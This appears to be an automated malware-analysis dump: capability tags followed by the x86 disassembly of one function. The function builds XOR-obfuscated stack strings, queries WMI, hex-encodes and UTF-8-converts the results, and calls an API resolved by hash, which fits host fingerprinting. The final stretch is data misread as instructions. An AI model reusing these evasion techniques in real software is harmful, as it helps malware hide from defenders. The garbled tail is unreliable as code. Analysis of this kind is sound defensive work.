Function at 0x436a30
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, dword [0x44ad3c]
mov dword [esp + 0x14], 0xed5feb8f
mov dword [esp + 0x18], 0xe17bef67
mov dword [esp + 0x1c], 0xe545e374
mov dword [esp + 0x20], 0xd9a2e77b
mov dword [esp + 0x24], 0xdd41db4a
mov dword [esp + 0x28], 0xd179df4a
mov dword [esp + 0x2c], 0xd5d2d3b7
mov dword [esp + 0x30], 0
mov dword [esp + 0x48], 0
mov ecx, dword [esp + 0x48]
cmp ecx, 0x1f
ja 0x436adb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x48]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0xc92182d1
xor ecx, edx
mov dword [esp + 0x9c], ecx
mov ecx, dword [esp + 0x9c]
add cl, 0xc7
mov edx, dword [esp + 0x48]
mov byte [esp + edx + 0x14], cl
inc dword [esp + 0x48]
mov ecx, dword [esp + 0x48]
cmp ecx, 0x20
jb 0x436aa0
lea ecx, [esp + 0x48]
lea edi, [esp + 0x9c]
lea ebx, [esp + 0x14]
push ecx
push 8
push edi
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448548]
mov dword [esp + 0x9c], 0x3a0043
mov dword [esp + 0xa0], 0x5c
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x64], 0
lea eax, [esp + 0x64]
push eax
push 0x442a88
push 1
push 0
push 0x442a98
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448550]
mov dword [esp + 0x14], 0xe7e0c7f
mov dword [esp + 0x18], 0x32473040
mov dword [esp + 0x1c], 0x36723449
mov dword [esp + 0x20], 0x3a743872
mov dword [esp + 0x24], 0x3e6d3c4b
mov word [esp + 0x28], 0x2021
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1a
ja 0x436bde
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x89305f9c
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x6f
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1b
jb 0x436bb0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448558]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x7c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448560]
mov dword [esp + 0x14], 0xac1aaa1e
mov dword [esp + 0x18], 0x90afaee1
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xa
ja 0x436ca5
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx edx, byte [esp + ecx + 0x14]
lea ecx, [eax + edx]
add ecx, 0x810b5399
add eax, 0x99
and eax, edx
mov edx, ecx
not edx
and edx, eax
add edx, eax
not eax
and eax, ecx
sub eax, edx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0xd0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xb
jb 0x436c60
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x78], eax
mov dword [esp + 0x14], 0x49154b25
mov dword [esp + 0x18], 0x45194712
mov dword [esp + 0x1c], 0x412c431d
mov dword [esp + 0x20], 0x5d6a5f7e
mov dword [esp + 0x24], 0x59025b7a
mov dword [esp + 0x28], 0x55075738
mov dword [esp + 0x2c], 0x51705307
mov dword [esp + 0x30], 0x6d156f05
mov dword [esp + 0x34], 0x69276b18
mov dword [esp + 0x38], 0x65076728
mov dword [esp + 0x3c], 0x6139633c
mov dword [esp + 0x40], 0x7d137f2d
mov dword [esp + 0x44], 0x7b7a
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x33
ja 0x436d5e
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x725065c4
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x72
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x34
jb 0x436d30
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x60]
mov ecx, dword [edi]
lea edx, [esp + 0x90]
push edx
push 0
push 0x30
mov dword [esp + 0xa4], eax
push eax
push dword [esp + 0x88]
push edi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
lea edi, [esp + 0x9c]
jmp dword [eax*4 + 0x448568]
mov dword [esp + 0x94], esi
mov dword [esp + 0x88], 0
mov eax, dword [esp + 0x90]
mov ecx, dword [eax]
lea edx, [esp + 0x88]
lea esi, [esp + 0x8c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x88], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x448570]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x14], 0xfa54f84c
mov dword [esp + 0x18], 0xe64ce469
mov dword [esp + 0x1c], 0xe275e046
mov dword [esp + 0x20], 0xee70ec55
mov dword [esp + 0x24], 0xea4be87a
mov dword [esp + 0x28], 0xd647d446
mov word [esp + 0x2c], 0xd0d7
mov dword [esp + 0x2e], 0
mov word [esp + 0x32], 0
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 0x1f
ja 0x436ea0
nop
nop
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx + 0x14]
lea esi, [ecx + edx]
add ecx, 0x8b
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0xa641728b
mov dword [esp], esi
mov ecx, dword [esp]
add cl, 0x8c
mov edx, dword [esp + 0xc]
mov byte [esp + edx + 0x14], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 0x20
jb 0x436e60
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x70]
push edx
push 0
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x68], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448578]
push dword [esp + 0x70]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edi, dword [esp + 0x70]
mov dword [esp + 0x84], eax
lea eax, [edi + eax*2]
mov dword [esp + 0x5c], eax
movzx ecx, word [edi]
test cx, cx
je 0x436f34
mov dword [esp + 4], 0
mov eax, edi
jmp 0x436f0c
add dword [esp + 4], edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x436f3c
cmp eax, dword [esp + 0x5c]
jae 0x436f3c
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x436efc
mov edx, ecx
jmp 0x436efc
mov dword [esp + 4], 0
mov dword [esp + 0x80], edi
mov eax, dword [esp + 4]
lea ecx, [eax + 1]
mov dword [esp + 0x7c], ecx
push ecx
call fcn.00409d90
add esp, 4
mov dword [esp + 8], eax
jmp dword [0x448580]
xor edx, edx
test eax, eax
setne dl
mov ecx, eax
jmp dword [edx*4 + 0x448608]
xor edx, edx
cmp dword [esp + eax*4 + 0x48], 0
sete dl
mov ecx, eax
jmp dword [edx*4 + 0x448610]
mov ecx, eax
and ecx, 0xfffffffe
add ecx, ecx
mov edx, eax
xor edx, 1
sub ecx, edx
mov edx, dword [esp + ecx*4 + 0x48]
mov ecx, edx
or ecx, 0x1a5845
mov edi, edx
and edi, 0x1a5845
imul ecx, edi
xor edi, 0x1a5845
and edx, 0xffe5a7ba
imul edx, edi
add edx, ecx
lea ecx, [esi + 8]
add edx, 0xebde8a13
mov dword [esp + eax*4 + 0x48], edx
mov byte [esi + 8], 0
je 0x437030
mov esi, ecx
cmp edx, 0x100
jb 0x437040
mov edi, edx
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, dl
movzx ebx, word [ebx + ebx + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], bx
add esi, 0xfffffffe
shr edi, 8
cmp edx, 0xffff
mov edx, edi
ja 0x436ff0
cmp edi, 0xf
ja 0x437047
movzx edx, byte [edi + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi - 1], dl
dec esi
jmp 0x437056
mov byte [esi + 7], 0x30
add esi, 7
jmp 0x437056
mov edi, edx
cmp edi, 0xf
jbe 0x437014
movzx edx, word [edi + edi + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], dx
add esi, 0xfffffffe
mov edx, 0xfffffff7
nop
nop
nop
nop
nop
cmp byte [esi + edx + 9], 0
lea edx, [edx + 1]
jne case.default.0x437074
xor ebx, ebx
cmp edx, 0
setne bl
xor edi, edi
jmp dword [ebx*4 + 0x448618]
mov byte [esi + edi - 1], 0x30
dec edi
xor ebx, ebx
cmp edx, edi
setne bl
jmp dword [ebx*4 + 0x448618]
inc eax
xor edx, edx
cmp eax, 4
setb dl
mov esi, ecx
jmp dword [edx*4 + 0x4485f0]
cmp dword [esp + 4], 0
jle 0x4371a5
mov eax, dword [esp + 8]
cmp dword [esp + 0x84], 0
jle 0x4371a5
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
lea esi, [ecx + eax]
mov eax, dword [esp + 0x7c]
add eax, ecx
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x80]
lea ebx, [eax + 2]
mov eax, ecx
mov dword [esp + 0x10], esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [ebx - 2]
test dx, dx
je 0x4371a5
cmp dx, 0x7f
ja 0x437110
mov byte [eax], dl
mov edi, 1
jmp 0x437190
mov esi, dword [esp + 0x58]
sub esi, eax
mov ecx, esi
xor ecx, 1
and esi, 0xfffffffe
add esi, esi
sub esi, ecx
movzx ecx, dx
cmp esi, 2
jb 0x437150
cmp ecx, 0x7ff
ja 0x437150
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov edi, 2
mov esi, dword [esp + 0x10]
jmp 0x437190
xor edi, edi
cmp esi, 3
mov esi, dword [esp + 0x10]
jb 0x437190
mov edi, ecx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, edi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov edi, 3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
cmp eax, esi
jae 0x4371a5
lea ecx, [ebx + 2]
cmp ebx, dword [esp + 0x5c]
mov ebx, ecx
jb 0x4370f0
mov byte [eax], 0
mov eax, dword [esp + 8]
cmp dword [esp + 4], 0
jle 0x4372a5
mov eax, dword [esp + 8]
cmp dword [esp + 0x84], 0
jle 0x4372a5
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
lea esi, [ecx + eax]
mov eax, dword [esp + 0x7c]
add eax, ecx
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x80]
lea ebx, [eax + 2]
mov eax, ecx
mov dword [esp + 0x10], esi
nop
nop
movzx edx, word [ebx - 2]
test dx, dx
je 0x4372a5
cmp dx, 0x7f
ja 0x437210
mov byte [eax], dl
mov edi, 1
jmp 0x437290
mov esi, dword [esp + 0x58]
sub esi, eax
mov ecx, esi
xor ecx, 1
and esi, 0xfffffffe
add esi, esi
sub esi, ecx
movzx ecx, dx
cmp esi, 2
jb 0x437250
cmp ecx, 0x7ff
ja 0x437250
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov edi, 2
mov esi, dword [esp + 0x10]
jmp 0x437290
xor edi, edi
cmp esi, 3
mov esi, dword [esp + 0x10]
jb 0x437290
mov edi, ecx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, edi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov edi, 3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
cmp eax, esi
jae 0x4372a5
lea ecx, [ebx + 2]
cmp ebx, dword [esp + 0x5c]
mov ebx, ecx
jb 0x4371f0
mov byte [eax], 0
mov eax, dword [esp + 8]
jmp dword [0x448588]
xor edi, edi
xor ecx, ecx
cmp edi, 4
setb cl
jmp dword [ecx*4 + 0x448590]
mov ecx, dword [eax + edi*4]
mov dword [esp + edi*4 + 0x48], ecx
mov esi, dword [esp + 4]
add esi, 0xfffffffc
xor ecx, ecx
mov edx, esi
mov dword [esp + 4], esi
mov eax, dword [esp + 8]
cmp esi, 4
setb cl
jmp dword [ecx*4 + 0x4485a8]
inc edi
xor ecx, ecx
cmp edi, 4
setb cl
jmp dword [ecx*4 + 0x448590]
lea edi, [esp + 0x9c]
lea ebx, [esp + 0x14]
jmp dword [0x4485b0]
jmp dword [0x4485b8]
push eax
call fcn.00409da0
mov eax, dword [esp + 0xc]
add esp, 4
nop
nop
nop
nop
nop
push eax
call fcn.00409da0
mov eax, dword [esp + 0xc]
add esp, 4
jmp dword [0x4485c4]
mov eax, dword [case.0x436ec5.0]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x90]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [esp + 0x94]
push dword [esp + 0x78]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x98]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp + 8]
mov dword [esp + 0x14], 0
push 0xefddb36b
push dword [0x44ad34]
call fcn.0043e210
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4485e8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x14]
mov dword [esp + 0x48], eax
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x4485f0]
push eax
mov ebx, esp
sub esp, 8
mov edi, esp
jmp ecx
sub esp, 0xc
mov esi, esp
push 0x68
push 7
push 0x100080
push ebx
push eax
call fcn.0043ecc0
add esp, 0x14
mov ecx, dword [0x44863c]
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
imul eax, dword [ebx], 0xffffffff
push 0x43
add byte [eax + 0x62004373], dh
imul eax, dword [ebx], 0xffffff9f
jae 0x44859e
add byte [edi], cl
insb byte es:[edi], dx
inc ebx
add byte [ebp + 0x33004373], dl
insb byte es:[edi], dx
inc ebx
add byte [esi + 0x73], bh
jae 0x4485ae
jae 0x4485ae
add byte [ebp + 0x6a00436d], bl
jae 0x4485b6
add ah, dh
insd dword es:[edi], dx
inc ebx
add byte [edx + 0x73], dl
jae 0x4485be
jae 0x4485be
add ah, cl
outsb dx, byte [esi]
inc ebx
add byte [ecx + esi*2 + 0x70a60043], ch
inc ebx
add byte [edx - 0x59ffbc8e], dh
jo 0x4485d2
add byte [edi], al
jae 0x4485d6
add al, dl
jb 0x4485da
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add al, dl
jb 0x4485ea
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sal byte [edx + 0x43], 1
add bh, dh
jb 0x4485ee
add byte [edi], al
jae 0x4485f2
inc ebx
add byte [eax], bl
jae 0x4485f6
add byte [ebx + 0x73], al
inc ebx
add byte [eax], dh
jae 0x4485fe
add byte [esi], bl
jae 0x448602
inc ebx
add byte [eax], dh
jae 0x448606
add byte [ebx + 0x73], al
inc ebx
add byte [eax + 0x73], dl
inc ebx
add byte [eax + 0x73], dl
inc ebx
add byte [edx + 0x73], dl
inc ebx
add byte [eax + 0x73], dl
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x1004373], dl
add byte [eax], al
add dword [eax], eax
add byte [eax], al
xchg ebp, eax
jae 4490790
add byte [ecx], al
add byte [eax], al
add ah, ch
jae 0x44862e
inc ebx
add ah, dh
jae 0x448632
inc ebx
add ah, ch
jae 0x448636
inc ebx
add byte [eax + 0x6f], dh
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x6f], dh
add byte [eax], al
add dword [eax], eax
add byte [eax], al
jo 0x448675
inc ebx
add byte [ecx - 0x7fffbc91], ah
outsd dx, dword [esi]
inc ebx
add byte [ecx - 0x6cffbc91], ah
outsd dx, dword [esi]
inc ebx
add byte [eax + esi*2 + 0x70800043], dl
inc ebx
add byte [eax], dh
je 0x448666
add byte [eax], dh
je 0x44866a
inc ebx
add byte [eax], dh
je 0x44866e
add byte [edx], bh
je 0x448672
inc ebx
add byte [eax + 0x74], ah
inc ebx
add byte [eax + 0x74], ah
inc ebx
add byte [eax + 0x74], ah
inc ebx
add byte [edx + 0x74], ah
inc ebx
add byte [esi + 0x74], ch
inc ebx
add byte [ebp + 0x74], dh
inc ebx
add byte [esi], ah
jne 0x44868e
add byte [esi + esi*2], cl
inc ebx
add byte [esi], ah
jne 0x448696
add byte [ecx + 0x76], cl
inc ebx
add byte [eax + 0x76], dl
inc ebx
add byte [eax + 0x76], dl
inc ebx
add byte [edx + 0x76], dl
inc ebx
add byte [eax + 0x76], dl
inc ebx
add byte [eax], dh
jbe 0x4486ae
inc ebx
add byte [eax - 0x3fffbc8a], ah
inc ebx
add al, al
jbe 0x4486b6
inc ebx
add al, al
jbe 0x4486ba
add dl, al
jbe 0x4486be
add al, al
jbe 0x4486c2
add byte [edx + 0x5200438a], ah
xchg ecx, eax
inc ebx
add byte [edi - 0x72], dh
inc ebx
add byte [edx - 0x6f], dl
inc ebx
add al, bh
add byte [ebx], 0x50
lea eax, [ebx]
mov al, byte [ebx]
xor byte [ebx + eax*2 + 0x438cac00], cl
add byte [edx - 0x74], ch
inc ebx
add byte [esi - 0x76], ah
inc ebx
add byte [eax], dh
mov word [ebx], es
lodsb al, byte [esi]
mov word [ebx], es
push 0xffffffffffffff8c
inc ebx
add byte [edx - 0x7b], ch
inc ebx
add byte [edi - 0x71], bh
inc ebx
add byte [0x6a004386], dl
test dword [ebx], eax
mov ch, 0x88
inc ebx
add byte [ebp + 0x25004388], dh
mov byte [ebx], al
mov ch, 0x88
inc ebx
add byte [0xb5004388], ah
mov byte [ebx], al
push ecx
inc ebx
add byte [ebp + 0x51004388], dh
inc ebx
add byte [ecx - 0x70], dl
nop
inc ebx
add dh, dl
nop
inc ebx
add byte [esi + 0xe004384], dh
mov es, word [ebx]
mov dh, 0x84
inc ebx
add byte [edi], dh
mov eax, dword [ebx]
insb byte es:[edi], dx
xchg byte [ebx], al
inc esi
mov dword [ebx], eax
insb byte es:[edi], dx
xchg byte [ebx], al
push 0xc7004381
xchg ecx, eax
inc ebx
add byte [eax - 0x7f], ch
inc ebx
add byte [esi - 0x5bffbc7a], bh
lea eax, [ebx]
sbb byte [edi - 0x73e3ffbd], cl
inc ebx
add byte [esp + ecx*4 - 0x74b3ffbd], cl
inc ebx
add byte [edx], cl
xchg ecx, eax
inc ebx
add byte [eax + 0xa004390], cl
xchg ecx, eax
inc ebx
add byte [ecx - 0x69ffbc7f], cl
xchg byte [ebx], al
mov dword gs:[ebx], eax
xchg esi, eax
xchg byte [ebx], al
jl 0x4486bb
inc ebx
add byte [esi], ch
add dword [ebx], 0x43917c
ja 0x4486c6
inc ebx
add byte [edi + eax*4], ch
inc ebx
add byte [eax + 0x2a00438a], cl
test dword [ebx], eax
ljmp 0x4388